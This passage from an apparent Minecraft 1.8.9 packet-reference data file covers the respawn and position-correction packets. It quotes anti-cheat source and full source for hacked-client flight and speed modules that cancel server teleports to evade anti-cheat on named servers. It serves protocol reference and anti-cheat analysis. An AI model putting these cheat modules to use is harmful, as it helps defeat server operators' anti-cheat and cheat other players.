data.user.setLastRespawn(packet.getTimestamp());\n                    data.user.setInventoryOpen(false);\n                    data.prediction.setVehicle(null);\n                }\n            });\n        }\n\n        else if (packet instanceof GPacketPlayServerWindowClose) {\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    data.user.setInventoryOpen(false);\n                }\n            });\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityAttach) {\n            final GPacketPlayServerEntityAttach attach = (GPacketPlayServerEntityAttach) packet;\n\n            if (attach.getEntityId() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(NMSManager.getInms().getEntity(data.getPlayer().getWorld(), attach.getVehicleId()));\n                        if (data.prediction.getVehicle() == null) {\n                            data.resetMotion();\n                        }\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityDestroy) {\n            final GPacketPlayServerEntityDestroy dtr = (GPacketPlayServerEntityDestroy) packet;\n\n            final boolean flag = data.prediction.getVehicle() != null\n                    && Arrays.stream(dtr.getEntities()).anyMatch(e -> data.prediction.getVehicle().getEntityId() == e);\n            if (flag) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                        data.resetMotion();\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerBed) {\n            final GPacketPlayServerBed bed = (GPacketPlayServerBed) packet;\n\n            if (bed.getPlayerID() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                        data.resetMotion();\n                    }\n                });\n            }\n        }\n    }\n}\n\n// NOTE (AI): The respawn branch is fastHandle lines 89-98, transaction-confirmed so the timestamp applies only after the client acknowledges. EmulatorPreProcessor (lines 616-633) mirrors it by setting movement.respawnTicks to 150 on the same packet.\n",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/miscellaneous/MiscellaneousPreProcessor.java",
       "variations": "Grim and Shard reset state on the packet directly; SalmonAC and FlopAC keep tick counters instead of wall-clock stamps; Kauri uses a TickTimer reset from WrapperPlayServerRespawn in its PacketHandler."
      },
      {
       "name": "Respawn-tick exemption (SalmonAC)",
       "found_in": [
        "ch1ck3n-ovo-SalmonAC"
       ],
       "purpose": "Zero the per-player respawnTick on respawn so every movement and combat check skips the respawn window.",
       "how_it_works": "PlayerEventListener.onRespawn (PlayerRespawnEvent) sets salmonPlayer.respawnTick = 0, and the counter increments in SalmonPlayer. Checks then bail early while the tick is under their threshold, from 20 ticks (ReachA, CriticalA, SpeedCode) to 60 ticks (TimerC, Invalid0A, JesusC). The same listener registers players on PlayerJoinEvent and zeroes respawnTick on join too.",
       "detects": "Nothing directly: it is an exemption counter, and the corpus hits are the getRespawnTick() guards inside roughly 40 checks.",
       "detailed_code": "// ===== FILE: ch1ck3n-ovo-SalmonAC, src/main/java/com/ch1ck3n/salmonac/events/PlayerEventListener.java =====\npackage com.ch1ck3n.salmonac.events;\n\nimport com.ch1ck3n.salmonac.SalmonAC;\nimport com.ch1ck3n.salmonac.utils.SalmonPlayer;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.player.*;\n\npublic class PlayerEventListener implements Listener {\n\n    @EventHandler\n    public void onJoin(PlayerJoinEvent e){\n        SalmonAC.getInstance().getPlayerManager().registerPlayer( e.getPlayer() );\n        SalmonPlayer salmonPlayer = getCustomPlayer(e.getPlayer());\n        salmonPlayer.respawnTick = 0;\n    }\n\n    @EventHandler\n    public void onJoin(PlayerQuitEvent e){\n        SalmonAC.getInstance().getPlayerManager().unregisterPlayer( e.getPlayer() );\n    }\n\n    @EventHandler\n    public void onSwing(PlayerAnimationEvent e) {\n        if( e.getAnimationType() == PlayerAnimationType.ARM_SWING ){\n            SalmonPlayer salmonPlayer = getCustomPlayer(e.getPlayer());\n            if (salmonPlayer == null) return;\n\n            salmonPlayer.swingTick = 0;\n//            salmonPlayer.lastSwingDelay = salmonPlayer.getSwingDelay();\n//            salmonPlayer.swingDelay = System.currentTimeMillis() - salmonPlayer.getLastSwingTime();\n//            salmonPlayer.lastSwingTime = salmonPlayer.getSwingTime();\n//            salmonPlayer.swingTime = System.currentTimeMillis();\n        }\n    }\n\n    @EventHandler\n    public void onItemChange(PlayerItemHeldEvent e) {\n        SalmonPlayer salmonPlayer = getCustomPlayer(e.getPlayer());\n        if (salmonPlayer == null) return;\n\n        salmonPlayer.itemChangeTick = 0;\n    }\n\n    @EventHandler\n    public void onMove(PlayerMoveEvent e) {\n        SalmonPlayer salmonPlayer = getCustomPlayer(e.getPlayer());\n        if (salmonPlayer == null) return;\n\n        if ( salmonPlayer.doSetBack() ) {\n            e.setTo(e.getFrom());\n            salmonPlayer.setBackTick = 0;\n            salmonPlayer.setBack = false;\n        }\n    }\n\n    @EventHandler\n    public void onRespawn(PlayerRespawnEvent e) {\n        SalmonPlayer salmonPlayer = getCustomPlayer(e.getPlayer());\n        if (salmonPlayer == null) return;\n\n        salmonPlayer.respawnTick = 0;\n    }\n\n    @EventHandler\n    public void onTeleport(PlayerTeleportEvent e) {\n        SalmonPlayer salmonPlayer = getCustomPlayer(e.getPlayer());\n        if ( salmonPlayer == null || salmonPlayer.doSetBack() ) return;\n\n        salmonPlayer.teleportTick = 0;\n    }\n\n    @EventHandler\n    public void onVelocity(PlayerVelocityEvent e) {\n        SalmonPlayer salmonPlayer = SalmonAC.getInstance().getPlayerManager().getPlayer( e.getPlayer() );\n        if( salmonPlayer == null ) return;\n\n        salmonPlayer.velocityX = e.getVelocity().getX();\n        salmonPlayer.velocityY = e.getVelocity().getY();\n        salmonPlayer.velocityZ = e.getVelocity().getZ();\n        salmonPlayer.velocityH = Math.hypot(salmonPlayer.velocityX, salmonPlayer.velocityZ);\n        salmonPlayer.velocityTick = 0;\n    }\n\n    public SalmonPlayer getCustomPlayer(Player player){\n        return SalmonAC.getInstance().getPlayerManager().getPlayer( player );\n    }\n}\n\n// NOTE (AI): SalmonAC hooks the Bukkit event, not the packet: PlayerRespawnEvent fires when the respawn position is set, which is the same world-reload moment the S07 packet causes. The respawnTick field is read by every check through SalmonPlayer.getRespawnTick.\n",
       "code_source": "ch1ck3n-ovo-SalmonAC, src/main/java/com/ch1ck3n/salmonac/events/PlayerEventListener.java",
       "variations": "FlopAC guards with a respawnTimer.hasNotPassed(20) inside BadPacketsC, SpeedA/B and SprintA/B; LightAntiCheat keeps cache.lastRespawn in milliseconds and skips checks within 500 ms of respawn; ThotPatrol and Daedalus reset latency data on PlayerRespawnEvent."
      },
      {
       "name": "Respawn-window exemption (FlopAC)",
       "found_in": [
        "JTXOfficial-FlopAC"
       ],
       "purpose": "Skip the bad-packets teleport check while the player is still inside the respawn grace window.",
       "how_it_works": "BadPacketsC watches the flying packet family and flags an invalid teleport when the client's horizontal delta exceeds the server-position speed. The exemption list includes getRespawnTimer().hasNotPassed(20), so a respawned player's first 20 ticks are never evaluated. The timer is armed from the respawn path in the action processor; the tinyprotocol WrappedOutRespawnPacket wrapper is the packet-side representation.",
       "detects": "Nothing on its own; the guard prevents false flags for players that legitimately teleport into the world after respawn.",
       "detailed_code": "// ===== FILE: JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/checks/misc/badpackets/BadPacketsC.java =====\npackage me.jtx.flopac.checks.misc.badpackets;\n\nimport me.jtx.flopac.base.check.api.Check;\nimport me.jtx.flopac.base.check.api.CheckInformation;\nimport me.jtx.flopac.base.event.PacketEvent;\nimport me.jtx.flopac.base.user.User;\nimport me.jtx.flopac.tinyprotocol.api.Packet;\n\n@CheckInformation(checkName = \"BadPackets\", checkType = \"C\", punishmentVL = 2)\npublic class BadPacketsC extends Check {\n\n    private double threshold;\n\n    @Override\n    public void onPacket(PacketEvent event) {\n        switch (event.getType()) {\n            case Packet.Client.FLYING:\n            case Packet.Client.LOOK:\n            case Packet.Client.POSITION_LOOK:\n            case Packet.Client.POSITION: {\n\n                User user = event.getUser();\n\n                if (user.shouldCancel()\n                        || user.getTick() < 60\n                        || user.getLastTeleportTimer().hasNotPassed(20)\n                        || user.getActionProcessor().getRespawnTimer().hasNotPassed(20)\n                        || user.getBlockData().pistonTicks > 0\n                        || user.getActionProcessor().getRespawnTimer().hasNotPassed(20)\n                        || user.getPlayer().isDead()\n                        || user.getGhostBlockProcessor().getGhostBlockTeleportTimer().hasNotPassed(20)\n                        || user.getVehicleTimer().hasNotPassed(20)) {\n                    threshold = 0;\n                    return;\n                }\n\n                double deltaXZ = user.getMovementProcessor().getDeltaXZ();\n\n                double maxSpeed = user.getMovementProcessor().getServerPositionSpeed();\n\n                if (user.getActionProcessor().getServerPositionTimer().hasNotPassed(5)) {\n\n                    double delta = Math.abs(deltaXZ - maxSpeed);\n\n                    if (delta > 0.8) {\n                        if (threshold++ > 3) {\n                            flag(user, \"Invalid teleport\");\n                        }\n                    } else {\n                        threshold -= Math.min(threshold, 0.002);\n                    }\n                } else {\n                    threshold -= Math.min(threshold, 0.002);\n                }\n                break;\n            }\n        }\n    }\n}\n\n// NOTE (AI): The respawn guard appears twice in the same exemption chain (lines 27 and 29), which suggests a merged exemption list; the check is otherwise a plain delta-versus-server-speed teleport check.\n",
       "code_source": "JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/checks/misc/badpackets/BadPacketsC.java",
       "variations": "SalmonAC's respawnTick and LightAntiCheat's lastRespawn cache are the same grace-window idea; Grim instead resets the whole simulation and keeps checks active, trusting the reset rather than an exemption window."
      }
     ]
    }
   },
   "wiki_notes": [
    "For a dimension change the server sends respawn followed by chunks for the new dimension and then a position and look packet, and the client unloads old chunks automatically.",
    "Avoid respawning a player into the same dimension they are already in unless they are dead, since it causes glitches such as being unable to attack.",
    "MCP 1.8.9 S07PacketRespawn implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleRespawn; wire serde is readPacketData/writePacketData via readInt, readStringFromBuffer, readUnsignedByte.",
    "1.8.9 callers: NetHandlerPlayServer.handleSpectate sends new S07PacketRespawn (line 674) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/network/NetHandlerPlayServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S07PacketRespawn/",
   "mcp_path": "net/minecraft/network/play/server/S07PacketRespawn.java",
   "group": "play-client",
   "logic_classes": [
    "ServerConfigurationManager",
    "NetHandlerPlayServer"
   ]
  },
  {
   "id": "S08PacketPlayerPosLook",
   "hex": "0x08",
   "dec": 8,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Player Position & Look",
   "desc": "Forces the player to a specific position and rotation. The client must respond with a C04/05/06.",
   "tags": [
    "player",
    "position",
    "movement",
    "teleport"
   ],
   "fields": [
    {
     "name": "x",
     "type": "double",
     "desc": "Absolute X coordinate"
    },
    {
     "name": "y",
     "type": "double",
     "desc": "Feet Y coordinate"
    },
    {
     "name": "z",
     "type": "double",
     "desc": "Absolute Z coordinate"
    },
    {
     "name": "yaw",
     "type": "float",
     "desc": "Absolute yaw rotation"
    },
    {
     "name": "pitch",
     "type": "float",
     "desc": "Absolute pitch rotation"
    },
    {
     "name": "flags",
     "type": "byte bitmask",
     "desc": "0x01=relativeX, 0x02=relativeY, 0x04=relativeZ, 0x08=relativeYaw, 0x10=relativePitch"
    }
   ],
   "encoding": [
    [
     "X",
     "double",
     ""
    ],
    [
     "Y",
     "double",
     ""
    ],
    [
     "Z",
     "double",
     ""
    ],
    [
     "Yaw",
     "float",
     ""
    ],
    [
     "Pitch",
     "float",
     ""
    ],
    [
     "Flags",
     "byte",
     "Bitmask for relative fields"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handlePlayerPosLook()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "The client must send a movement confirm (C04/C05/C06) back. The Y coordinate in this packet is the head Y, not feet Y.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S08 is the server's authoritative position and rotation correction: three doubles, two floats and a byte bitmask of relative flags (0x01 X, 0x02 Y, 0x04 Z, 0x08 Y_ROT, 0x10 X_ROT). It fires on join, dimension change, /tp-style teleports and anti-cheat lag-backs, and the client must answer with a C06PacketPlayerPosLook confirm or the server keeps its own position and re-sends. It is the most-intercepted clientbound packet in the corpus: every movement exploit family reads it, and several non-movement modules use it as a state signal (spawned, flagged, respawned)."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handlePlayerPosLook (Memeware copy, line 601) checks PacketThreadUtil, adds each absolute field to the current value when the matching relative flag is set, calls setPosition, then immediately replies C06PacketPlayerPosLook using the bounding-box minY as the feet position. The motion zeroing lines are commented out in the Memeware and Nekoware copies, a decompile artifact of the 1.5.2-era base. The first S08 flips doneLoadingTerrain, which is the spawned signal Memeware's Stealer waits for to clear its chest state."
     },
     {
      "h": "Why clients touch it",
      "p": "Five families. Flight modes cancel S08 to avoid being snapped back and re-send a confirm that matches the spoofed position (Rise MineLandFlight, CreativeFlight; Sigma Fly; Spicy Fly and BackupFly; Tenacity FlightModule). Speed modules treat S08 as a flag and auto-disable or cancel per-mode (Memeware and Nekoware Flag Check, Rise 5.99 Speed Zonecraft and Vulcan2). Rotation strippers rewrite yaw and pitch before the vanilla handler runs (Rise 5.99 NoRot and Freelook, Sigma NoRotate). Phase and Blink count or suppress teleports (Rise VulcanPhase, Sigma Phase and Blink, Spicy Phase). AntiVoid and Disabler suites use S08 as a timing trigger (Spicy AntiVoid, Rise VerusCustomDisabler and WatchdogDisabler, Sigma Disabler, Tenacity DisablerModule, Memeware Disabler Sloth mode). Sigma AntiVelocity even rewrites S08 rotations in AACFlag mode while hurtResistantTime is active. The two new clients fit the same landscape: November's PhaseModule reads S08 as its setback timer, LiquidSense's LagBack auto-disables movement modules on S08, and Tp and TeleportCommand use the teleport as their arm signal."
     },
     {
      "h": "Exploit surface",
      "p": "The anti-cheat's blunt instrument is the rubberband: any server-side position desync ends in an S08. Clients fight it three ways: cancel the packet and re-send a spoofed C06 (keeps the client position, desyncs the server), accept the position but strip rotations (NoRotate), or ignore S08 only while a module state machine is armed (VulcanPhase counts teleports and then stands down after four). Rise 6.x TeleportCheck sits on the same packet to detect teleport exploits aimed at its own users. Every anti-cheat measures the C06 echo: the confirm must match the teleported coordinates, which is why cancel-and-spoof is only viable when the module replays the exact S08 position and why repeated cancels read as teleport-spam flags."
     }
    ],
    "overview": "The server's authoritative position correction: doubles plus floats plus a relative-flag bitmask, answered by a mandatory C06 confirm. The most-modded clientbound packet in the corpus: Flight cancels it, Speed treats it as a flag, NoRotate strips rotation, Phase counts it, AntiVoid uses it to time its rescue, and the disabler suites use it to re-arm ping-spoof and blink state.",
    "server_handling": "NetHandlerPlayServer.setPlayerLocation (Spicy and Tenacity copies, line 448) computes the absolute target, adds the relative offsets when flags are set, zeroes the player's motion and sends S08. processPlayer validates incoming C0x movement against the last sent position and re-sends S08 when the client drifts beyond tolerance, which is the rubberband. Vanilla 1.8.9 has no teleport-id counter, so the server trusts the next C06-style confirm and re-sends S08 only when subsequent movement disagrees; that gap is exactly what cancel-and-confirm spoofing exploits.",
    "protocol_notes": "Wire order: x, y, z doubles, yaw, pitch floats, then one flags byte read via readUnsignedByte. Flagged fields are deltas added to the current client value, so the server can nudge a player with a partial teleport; the join S08 is absolute (empty flag set). The client replies with C06PacketPlayerPosLook (absolute position, bounding-box minY, current rotations, onGround flag) regardless of which fields were relative. Because the reply uses the client's post-processing position, any module that mutates the packet before the handler runs changes what the server records.",
    "anticheat_landscape": "S08 is where lag-back lands: speed, phase, ground and fly checks all terminate in one. Cancelling S08 without echoing the position forces the server into a re-send loop that is itself visible as teleport spam. The stealthy pattern is to accept the position and neutralize the effect: NoRotate rewrites rotation so the confirm matches while aim stays client-side, and disablers re-arm PingSpoofComponent immediately after S08 (Rise VerusCustomDisabler sets disable = -20 on every teleport and only spoofs once the position history is clean). Hypixel-era flight modes cancel S08 only until the server velocity-confirms the fall, then let the teleport through to avoid a permanent desync flag.",
    "modules": [
     {
      "name": "Flight / Fly",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0",
       "LiquidSense Dev"
      ],
      "purpose": "Keep a spoofed airborne position by cancelling S08 teleports until the server confirms the fall, then accept the snap-back and slow the game clock.",
      "how_it_works": "On PacketReceiveEvent, cancel S08 while the module has not been teleport-confirmed; keep broadcasting C03 packets and pin the client position to the launch point. The confirm is the S12 velocity packet: once motionY passes a threshold, teleported flips true, S08 is let through and timerSpeed drops to 0.3.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/module/impl/movement/flight/MineLandFlight.java =====\npackage com.alan.clients.module.impl.movement.flight;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.util.MathHelper;\n\npublic class MineLandFlight extends Mode<Flight> {\n\n    private double serverPosX, serverPosY, serverPosZ;\n    private boolean teleported;\n\n    public MineLandFlight(String name, Flight parent) {\n        super(name, parent);\n    }\n\n    @Override\n    public void onEnable() {\n        serverPosX = mc.thePlayer.posX;\n        serverPosY = mc.thePlayer.posY;\n        serverPosZ = mc.thePlayer.posZ;\n        teleported = false;\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (!teleported) {\n\n            final double yaw = MoveUtil.direction();\n            final double speed = 6;\n\n            if (mc.thePlayer.ticksExisted % 3 == 0) {\n                PacketUtil.send(new C03PacketPlayer(mc.thePlayer.onGround));\n                mc.thePlayer.setPosition(serverPosX, serverPosY, serverPosZ);\n            }\n\n            event.setPosY(event.getPosY() - 1.1 + (mc.thePlayer.ticksExisted % 3 == 0 ? 0.42f : 0));\n            event.setPosX(event.getPosX() + MathHelper.sin((float) yaw) * speed);\n            event.setPosZ(event.getPosZ() - MathHelper.cos((float) yaw) * speed);\n\n        } else {\n            mc.timer.timerSpeed = 0.3f;\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S08PacketPlayerPosLook && !teleported) {\n            event.setCancelled();\n        } else if (packet instanceof S12PacketEntityVelocity) {\n            final S12PacketEntityVelocity wrapper = (S12PacketEntityVelocity) packet;\n\n            if (wrapper.getEntityID() == mc.thePlayer.getEntityId() && wrapper.motionY / 8000D > 0.5) {\n                teleported = true;\n            }\n        }\n    };\n}\n// NOTE (AI): Mode of the Rise 6.x Flight module tuned for the MineLand server family. The S08 handler cancels every teleport while teleported is false, so the spoofed position stream from PreMotion (posY dropped 1.1, 6 blocks per tick forward) is never snapped back. The teleport is only accepted once the server confirms the fall through an S12 velocity packet with motionY / 8000D > 0.5, after which timerSpeed drops to 0.3. This cancel-then-accept pattern is the canonical S08 ground-spoof: cancel rubberbands while airborne, let the teleport through the moment the server has committed to the new position. The C03 broadcast every 3 ticks with setPosition back to serverPos pins the server-side bounding box at the launch point.",
      "code_source": "Rise 6.1.30 - com/alan/clients/module/impl/movement/flight/MineLandFlight.java",
      "vanilla_hook": "PacketReceiveEvent (S08, S12).",
      "anti_cheat_notes": "Cancelling rubberbands is the classic flight flag; the MineLand pattern defuses it by accepting the teleport the moment the server's own velocity check confirms the fall, so the client is never in a permanently-desynced state.",
      "variations": "Rise 5.99 Fly marks a setback on S08 in Hypixel and Hycraft modes; Rise 6.2.4 CreativeFlight tracks S08 into serverPos fields to replay the teleport through its own position buffer; Sigma Fly and Spicy Fly and BackupFly cancel S08 in Hypixel mode only; Tenacity FlightModule (Mineland Fling mode) cancels S08 until the S12 confirm and then sets timer speed to 1. LiquidSense Dev's core Fly handles S08 per mode (line 761 of Fly.java), and LastestHypixelFly cancels C03 until the first S08 arms the fly window, then toggles off on a second S08 after 1500 ms with a Setback detected notice; Flight1 imports S08 without handling it."
     },
     {
      "name": "Speed",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "LiquidSense Dev"
      ],
      "purpose": "Treat S08 as a lag-back flag and disable the module, or cancel the teleport per server mode so the speed boost survives.",
      "how_it_works": "Memeware and Nekoware hook PacketInEvent: if the packet is S08 and the Flag Check setting is on, print a chat message and toggle the module off. Rise 5.99 Speed runs per-mode handlers: Zonecraft cancels S08 and re-sends C04, Vulcan2 cancels teleports inside 10 blocks, Hypixel2 cancels once, Minemenclub Hop resets its balance counter.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/movement/Speed.java =====\n/*\n * Decompiled with CFR 0.145.\n *\n * Could not load the following classes:\n *  org.apache.commons.lang3.RandomUtils\n */\npackage me.memewaredevs.client.module.movement;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.MovementEvent;\nimport me.memewaredevs.client.event.events.PacketInEvent;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.ChatUtil;\nimport me.memewaredevs.client.util.CubeUtil;\nimport me.memewaredevs.client.util.blocks.misc.BlockUtil;\nimport me.memewaredevs.client.util.movement.DynamicFriction;\nimport me.memewaredevs.client.util.movement.MovementUtils;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C18PacketSpectate;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.function.Consumer;\n\npublic class Speed extends Module {\n    private DynamicFriction dynamicNCPFriction = new DynamicFriction();\n    private double speed, currentDistance, lastDistance;\n    public boolean prevOnGround;\n\n    public Speed() {\n        super(\"Speed\", 33, Module.Category.MOVEMENT);\n        addModes(\"Vanilla\", \"PvPTemple\", \"Mineplex\", \"Mineplex2\", \"Cubecraft Slow\", \"NCP Fast\", \"Cubecraft Fast\", \"Hypixel\");\n        addBoolean(\"Flag Check\", true);\n        addDouble(\"Vanilla\", \"Speed\", 0.47, 0.25, 5);\n    }\n\n    @Handler\n    public Consumer<PacketInEvent> eventConsumer0 = (event) -> {\n        if (event.getPacket() instanceof S08PacketPlayerPosLook && getBool(\"Flag Check\")) {\n            if (mc.thePlayer != null && mc.theWorld != null) {\n                ChatUtil.printChat(\"Speed disabled because you flagged/got teleported!\");\n                toggle();\n            }\n        }\n\n    };\n\n    @Handler\n    public Consumer<MovementEvent> eventConsumer1 = (event) -> {\n        if (isMode(\"Mineplex2\")) {\n            if (airSlot() == -10){\n                return;\n            }\n            if (mc.thePlayer.ticksExisted % 3 == 0 && mc.thePlayer.isMovingOnGround()) {\n                PacketUtil.sendPacketSilent(new C09PacketHeldItemChange(Speed.airSlot()));\n                BlockUtil.placeHeldItemUnderPlayer();\n                speed += 0.125F;\n            }\n            else {\n                PacketUtil.sendPacketSilent(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n                speed *= 0.98;\n            }\n            if (speed > 1.24) {\n                speed = 1.24;\n            }\n            MovementUtils.setMoveSpeed(event, speed);\n        }\n        if (isMode(\"PvPTemple\")) {\n            if (mc.thePlayer.isMovingOnGround()) {\n                event.setY(mc.thePlayer.motionY = 0.42F);\n                speed = 0.5;\n                prevOnGround = true;\n            }\n            else if (prevOnGround) {\n                speed = 0.8;\n                prevOnGround = false;\n            }\n            else {\n                speed *= 0.932;\n            }\n            MovementUtils.setMoveSpeed(event, speed);\n        }\n\n        if (isMode(\"Vanilla\")) {\n            double max = this.getDouble(\"Vanilla\", \"Speed\");\n            MovementUtils.setMoveSpeed(event, max);\n        }\n        if (isMode(\"Cubecraft Slow\")) {\n            PacketUtil.sendPacketSilent(new C18PacketSpectate(CubeUtil.CUBECRAFT_UUID));\n            mc.gameSettings.keyBindJump.pressed = false;\n            if (mc.thePlayer.ticksExisted % 4 == 0) {\n                MovementUtils.setMoveSpeed(event, MovementUtils.getBaseMoveSpeed() + 1.276444466666);\n            }\n            else {\n                MovementUtils.setMoveSpeed(event, MovementUtils.getBaseMoveSpeed() + 1.0E-12);\n            }\n        }\n\n        if (isMode(\"Cubecraft Fast\")) {\n            mc.gameSettings.keyBindJump.pressed = false;\n            mc.thePlayer.cameraYaw = 0;\n            if(mc.thePlayer.ticksExisted % 4 == 0)\n                MovementUtils.setMoveSpeed(event, MovementUtils.getBaseMoveSpeed() + 1.55522225D);\n            else\n                MovementUtils.setMoveSpeed(event, MovementUtils.getBaseMoveSpeed());\n\n            if (mc.thePlayer.isMoving() && mc.thePlayer.onGround && mc.thePlayer.ticksExisted % 4 == 0)\n                mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0922222333D * RandomUtils.nextDouble(0.75D, 1D), mc.thePlayer.posZ);\n\n            if(mc.thePlayer.ticksExisted % 8 == 0)\n                MovementUtils.offsetXZ(0.12115522522);\n        }\n        if (isMode(\"Mineplex\")) {\n            mc.timer.timerSpeed = 1.0F;\n            if (mc.thePlayer.isMovingOnGround()) {\n                mc.timer.timerSpeed = 1F;\n                event.setY(mc.thePlayer.motionY = 0.4F);\n                prevOnGround = true;\n                currentDistance = speed;\n                speed = 0;\n            } else {\n                mc.timer.timerSpeed = 1.0F;\n                if (prevOnGround) {\n                    speed = currentDistance + 0.56F;\n                    prevOnGround = false;\n                } else {\n                    speed = lastDistance * (speed > 2.2 ? 0.975 : speed >= 1.5 ? 0.98 : 0.985);\n                }\n            }\n            double max = this.getDouble(\"Vanilla\", \"Speed\");\n            MovementUtils.setMoveSpeed(event, Math.max(Math.min(speed, max), prevOnGround ? 0 : 0.42));\n        }\n\n        if (isMode(\"Vanilla\")) {\n            MovementUtils.setMoveSpeed(event, getDouble(\"Vanilla\", \"Speed\"));\n        }\n\n        if (isMode(\"Hypixel\")) {\n            mc.timer.timerSpeed = 1F;\n\n            if(mc.thePlayer.isMovingOnGround()) {\n                mc.timer.timerSpeed = 1.25F;\n                event.setY(mc.thePlayer.motionY = 0.3999175222222555F);\n                speed = MovementUtils.getBaseMoveSpeed() * 2.1492287832;\n                prevOnGround = true;\n            }\n            else {\n                if (prevOnGround) {\n                    speed -= 0.66333332222 * (speed - MovementUtils.getBaseMoveSpeed());\n                    prevOnGround = false;\n                }\n                else {\n                    speed -= speed / 160 - 1.0E-9;\n                }\n            }\n            MovementUtils.setMoveSpeed(event, speed);\n        }\n        if (isMode(\"NCP Fast\")) {\n            this.dynamicNCPFriction.updateFriction(event, 0.3928999999, 1.14999, 159, 0.66);\n        }\n    };\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer2 = (event) -> {\n        if (event.isPre()) {\n            if (isMode(\"Hypixel\")) {\n                event.setY(event.getY() + 1.73E-11D);\n            }\n            double x = mc.thePlayer.posX - mc.thePlayer.prevPosX;\n            double z = mc.thePlayer.posZ - mc.thePlayer.prevPosZ;\n            this.lastDistance = Math.hypot(x, z);\n        }\n    };\n\n    public static int airSlot() {\n        for (int j = 0; j < 8; ++j) {\n            if (mc.thePlayer.inventory.mainInventory[j] == null) {\n                return j;\n            }\n        }\n        ChatUtil.printChat(\"Clear a hotbar slot.\");\n        return -10;\n    }\n\n    @Override\n    public void onEnable() {\n        speed = 0;\n        prevOnGround = true;\n        lastDistance = 0;\n    }\n\n    @Override\n    public void onDisable() {\n        if (isMode(\"Mineplex2\")) {\n            PacketUtil.sendPacketSilent(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n        }\n        mc.thePlayer.jumpMovementFactor = 0.0F;\n        MovementUtils.setMoveSpeed(0);\n        mc.timer.timerSpeed = 1.0F;\n\n        if (isMode(\"Cubecraft Fast\") || isMode(\"Cubecraft Slow\")) {\n            mc.thePlayer.motionY = 0F;\n            mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.2664444, mc.thePlayer.posZ);\n        }\n    }\n}\n// NOTE (AI): The S08 hook is the Flag Check: any S08PacketPlayerPosLook while the setting is enabled is treated as a lag-back and the module toggles itself off with a chat message. This is the crude version of what Rise 5.99 Speed does per-mode (Zonecraft cancels S08 and re-sends C04, Vulcan2 cancels teleports inside 10 blocks, Hypixel2 cancels once, Minemenclub Hop resets its balance counter) and of Tenacity's auto-disable pattern. Nekoware v1 ships the identical Speed.java with the same Flag Check. The CFR decompiler header shows the 1.5.2-era codebase carried into 7.3; the Mineplex2 mode also abuses C09PacketHeldItemChange to place blocks under the player while running.",
      "code_source": "Memeware 7.3 - me/memewaredevs/client/module/movement/Speed.java",
      "vanilla_hook": "PacketInEvent / PacketReceiveEvent.",
      "anti_cheat_notes": "Auto-disable on S08 is the safest reaction because a teleport means the speed boost was already flagged; the chat message is a tell that the module was active, but the server only sees the movement it already flagged.",
